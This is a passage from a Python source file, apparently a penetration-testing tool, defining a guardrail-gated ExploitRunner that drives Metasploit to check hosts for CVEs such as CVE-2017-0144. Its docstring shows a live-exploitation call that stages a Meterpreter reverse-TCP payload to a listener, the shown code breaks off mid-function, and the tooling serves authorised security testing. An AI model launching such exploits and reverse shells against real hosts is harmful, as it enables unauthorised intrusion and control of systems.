Safe, guardrail-enforced exploit runner. Usage (check-only mode — no payload, no shell): runner = ExploitRunner(msf_host="127.0.0.1", msf_password="your_msf_password") result = await runner.check_cve("CVE-2017-0144", "192.168.1.100", 445) Live exploitation (requires se
| 42 | @property |
| 43 | def confirmed(self) -> bool: |
| 44 | return self.status == "CONFIRMED" |
| 45 | |
| 46 | |
| 47 | class ExploitRunner: |
| 48 | """ |
| 49 | Safe, guardrail-enforced exploit runner. |
| 50 | |
| 51 | Usage (check-only mode — no payload, no shell): |
| 52 | runner = ExploitRunner(msf_host="127.0.0.1", msf_password="your_msf_password") |
| 53 | result = await runner.check_cve("CVE-2017-0144", "192.168.1.100", 445) |
| 54 | |
| 55 | Live exploitation (requires session.allow_live_exploitation=True): |
| 56 | result = await runner.exploit_live("CVE-2017-0144", "192.168.1.100", 445, |
| 57 | payload="windows/x64/meterpreter/reverse_tcp", |
| 58 | lhost="10.0.0.5", lport=4444) |
| 59 | """ |
| 60 | |
| 61 | def __init__( |
| 62 | self, |
| 63 | msf_host: str = "127.0.0.1", |
| 64 | msf_port: int = 55553, |
| 65 | msf_username: str = "msf", |
| 66 | msf_password: str = "", |
| 67 | msf_ssl: bool = False, # snap msfrpcd starts without SSL by default |
| 68 | ) -> None: |
| 69 | self._msf = MetasploitClient( |
| 70 | host=msf_host, |
| 71 | port=msf_port, |
| 72 | username=msf_username, |
| 73 | password=msf_password, |
| 74 | ssl=msf_ssl, |
| 75 | ) |
| 76 | self._connected = False |
| 77 | |
| 78 | # ── Public API ───────────────────────────────────────────────────────────── |
| 79 | |
| 80 | async def check_cve( |
| 81 | self, |
| 82 | cve_id: str, |
| 83 | target: str, |
| 84 | port: int, |
| 85 | extra_options: dict | None = None, |
| 86 | ) -> ExploitResult: |
| 87 | """ |
| 88 | Run Metasploit in check-only mode for a specific CVE. |
| 89 | |
| 90 | No payload is staged. No session is opened. The module's check() |
| 91 | method is called — it returns Safe/Vulnerable/Unknown. |
| 92 | |
| 93 | Guardrail gates: session required, ROE, module whitelist, rate limit. |
| 94 | """ |
| 95 | ref = lookup(cve_id) |
| 96 | if not ref: |
| 97 | return ExploitResult( |
| 98 | cve_id=cve_id, target=target, port=port, module_path="", |
| 99 | status="NO_MODULE", |
| 100 | error=f"No Metasploit module mapped for {cve_id}", |
| 101 | ) |